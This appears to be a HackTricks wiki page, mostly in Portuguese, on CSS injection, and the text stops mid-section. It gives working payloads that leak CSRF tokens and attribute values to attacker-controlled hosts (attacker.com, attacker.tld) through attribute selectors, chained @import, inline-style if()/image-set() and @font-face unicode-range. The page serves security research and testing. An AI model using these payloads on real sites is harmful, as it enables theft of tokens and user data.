30 KiB

CSS Injection

{{#include ../../../banners/hacktricks-training.md}}

CSS Injection

Seletor de Atributo

Seletores CSS são criados para corresponder aos valores dos atributos name e value de um elemento input. Se o atributo value do elemento input começar com um caractere específico, um recurso externo predefinido é carregado:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (type="hidden"), pois elementos ocultos não carregam imagens de fundo.

Bypass para Elementos Ocultos

Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais ~. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Um exemplo prático de exploração dessa técnica está detalhado no snippet de código fornecido. Você pode visualizá-lo aqui.

Pré-requisitos para CSS Injection

Para que a técnica CSS Injection seja eficaz, certas condições devem ser atendidas:

  1. Payload Length: O vetor de injeção CSS deve suportar payloads suficientemente longos para acomodar os seletores criados.
  2. CSS Re-evaluation: Você deve ter a capacidade de embeber a página em um frame/iframe, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
  3. External Resources: A técnica assume a possibilidade de usar imagens hospedadas externamente. Isso pode ser restringido pela Content Security Policy (CSP) do site.

Blind Attribute Selector

Como explicado neste post, é possível combinar os seletores :has e :not para identificar conteúdo mesmo de elementos 'blind'. Isso é muito útil quando você não tem ideia do que há dentro da página web que está carregando a CSS Injection.
Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combinando isso com a seguinte técnica @import, é possível exfiltrar muita informação usando CSS injection a partir de páginas blind com blind-css-exfiltration.

@import

A técnica anterior tem algumas desvantagens, confira os pré-requisitos. Você precisa ser capaz de enviar múltiplos links para a vítima, ou precisa ser capaz de iframe a página vulnerável a CSS injection.

No entanto, existe outra técnica inteligente que usa CSS @import para melhorar a qualidade da técnica.

Isto foi mostrado pela primeira vez por Pepe Vila e funciona assim:

Em vez de carregar a mesma página repetidas vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos carregar a página apenas uma vez e apenas com um import para o servidor do atacante (este é o payload a enviar para a vítima):

@import url("//attacker.com:5001/start?");
  1. O import vai receber some CSS script dos atacantes e o browser will load it.
  2. A primeira parte do CSS script que o atacante irá enviar é another @import to the attackers server again.
  3. O attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
  4. A segunda e maior parte do payload é going to be an attribute selector leakage payload
  5. This will send to the attackers server the first char of the secret and the last one
  6. Uma vez que o attackers server has received the first and last char of the secret, ele irá respond the import requested in the step 2.
  7. The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.

O atacante irá seguir esse loop até conseguir leak completamente o segredo.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

Tip

O script tentará descobrir 2 chars cada vez (do começo e do fim) porque o attribute selector allows to do things like:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

This allows the script to leak the secret faster.

Warning

Às vezes o script não detecta corretamente que o prefix + suffix discovered is already the complete flag e ele continuará forwards (no prefix) e backwards (no suffix) e em algum ponto irá hang.
Sem problemas, apenas verifique a output porque você pode ver a flag lá.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

Warning

Comparisons de igualdade em if() requerem aspas duplas para literais de string. Aspas simples não irão corresponder.

  • Sink: controlar o atributo style de um elemento e garantir que o atributo alvo esteja no mesmo elemento (attr() reads only same-element attributes).
  • Read: copiar o atributo para uma variável CSS: --val: attr(title).
  • Decide: selecionar uma URL usando condicionais aninhados comparando a variável com candidatos string: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: aplicar background: image-set(var(--steal)) (ou qualquer fetching property) para forçar uma requisição ao endpoint escolhido.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload funcional (aspas duplas obrigatórias na comparação):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Enumerando valores de atributos com condicionais aninhados:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Demonstração realista (sondando nomes de usuário):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notas e limitações:

  • Funciona em navegadores baseados em Chromium na época da pesquisa; o comportamento pode diferir em outros engines.
  • Mais adequado para espaços de valores finitos/enumeráveis (IDs, flags, nomes de usuário curtos). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo desafiador.
  • Qualquer propriedade CSS que busque uma URL pode ser usada para disparar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content).

Automação: uma Burp Custom Action pode gerar payloads inline-style aninhados para brute-forcear valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Outros seletores

Outras formas de acessar partes do DOM com CSS selectors:

  • .class-to-search:nth-child(2): Isso irá procurar o segundo item com a classe "class-to-search" no DOM.
  • :empty selector: Used for example in this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Referência: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

A intenção geral é usar uma fonte customizada de um endpoint controlado e garantir que o texto (neste caso, 'A') seja exibido com essa fonte somente se o recurso especificado (favicon.ico) não puder ser carregado.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Uso de Fonte Personalizada:
  • Uma fonte personalizada é definida usando a regra @font-face dentro de uma tag <style> na seção <head>.
  • A fonte é chamada poc e é buscada de um endpoint externo (http://attacker.com/?leak).
  • A propriedade unicode-range é definida como U+0041, direcionando o caractere Unicode específico 'A'.
  1. Elemento